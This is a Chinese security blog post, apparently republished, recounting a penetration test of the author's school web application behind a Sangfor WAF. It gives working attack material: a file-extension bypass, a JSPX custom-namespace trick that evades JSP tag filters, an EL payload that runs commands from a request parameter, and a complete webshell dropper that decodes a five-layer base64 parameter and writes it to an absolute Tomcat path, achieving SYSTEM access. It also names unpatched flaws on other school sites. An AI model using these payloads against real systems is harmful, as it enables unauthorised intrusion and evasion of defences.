记一次绕过waf的任意文件上传

技术

前言

前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折

期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。

0x01 获取网站接口

主界面:

picture.image

上传点:

picture.image

由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie

picture.image

任意文件上传:

picture.image

文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母。

0x02 后缀名绕过

代码不限制后缀名,但是waf限制呀!

后缀名jspjspx会拦截,但是jsppjspxx等不会拦截

所以要利用windows特性绕过,常规的绕过手法例如末尾加点号::$DATA均无法绕过。

picture.image

经过fuzz,发现正斜杠可以绕过

picture.image

0x03 内容绕过

常见的jsp标记均无法绕过

picture.image

picture.image

所以我们得绕过JSP标记检测,这里参考了yzddmr6师傅的两种 绕过方法

  • jspEL表达式绕过
  • jspx命名空间绕过

第一种是利用${}标记

payload:${Runtime.getRuntime().exec(request.getParameter("x"))}

但深信服waf过滤了一句话,需要变形绕过

鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法

第二种是利用命名空间的特性

参照yzddmr6师傅的图:

picture.image

使用自定义的命名空间,替换掉jsp的关键字

将原本的<jsp:scriptlet>替换成<自定义字符:scriptlet>

这样waf的正则匹配不到<jsp:scriptlet>自然就会放行


      
  `<hi xmlns:hi="http://java.sun.com/JSP/Page">  
 <hi:scriptlet>  
 out.println(30*30);  
 </hi:scriptlet>  
</hi>`
 


    

picture.image

picture.image

0x04 获取网站路径

这里我们不能用相对路径来写入webshell

因为TomcatApache不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin作为根目录


      
  `# 获取当前的根目录  
String path = System.getProperty("user.dir");  
out.println(path);`
 


    

picture.image


      
  `# 获取web项目所在的目录  
String path = application.getRealPath("test.jsp");  
out.println(path);`
   

 


    

picture.image

所以写入shell的绝对路径应为D:/tomcat8/webapps/declare/static/upload/test.jsp

0x05 编码或加密绕过waf写入shell

菜鸡的payload:


      
  `<hi xmlns:hi="http://java.sun.com/JSP/Page">  
 <hi:directive.page import="java.util.Base64,java.io.*"/>  
 <hi:scriptlet>  
 File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");  
 FileWriter fileOut = new FileWriter(file);  
 Base64.Decoder base64 = Base64.getDecoder();  
 byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));  
 try {  
 fileOut.write(new String(str, "utf-8"));  
 out.println("写入成功");  
 } catch (Exception e) {  
 e.printStackTrace();  
 } finally {  
 try {  
 if (fileOut != null) {  
 fileOut.close();  
 }  
 } catch (Exception e) {  
 e.printStackTrace();  
 }  
 }  
 </hi:scriptlet>  
</hi>`
 


    

一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过

鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过

picture.image

成功getshell,System权限

picture.image

看了一眼依赖,可能存在log4j2jackson的RCE,留着下次当靶场继续测试

picture.image

0x06 总结

深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了

学校其他站点有thinkphp5.0.23 RCE泛微8.0前台sql注入的漏洞,但都有这个waf,实在没有耐心一个个fuzz

本菜鸡第一次写文,如有错误或建议欢迎指出,各位师傅们轻喷


        
  `原文链接:https://xz.aliyun.com/t/11337`
 


      

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

看到这里了,点个“赞”、“再看”吧

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
云原生环境下的日志采集存储分析实践
云原生场景下,日志数据的规模和种类剧增,日志采集、加工、分析的多样性也大大增加。面对这些挑战,火山引擎基于超大规模下的 Kubernetes 日志实践孵化出了一套完整的日志采集、加工、查询、分析、消费的平台。本次主要分享了火山引擎云原生日志平台的相关实践。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论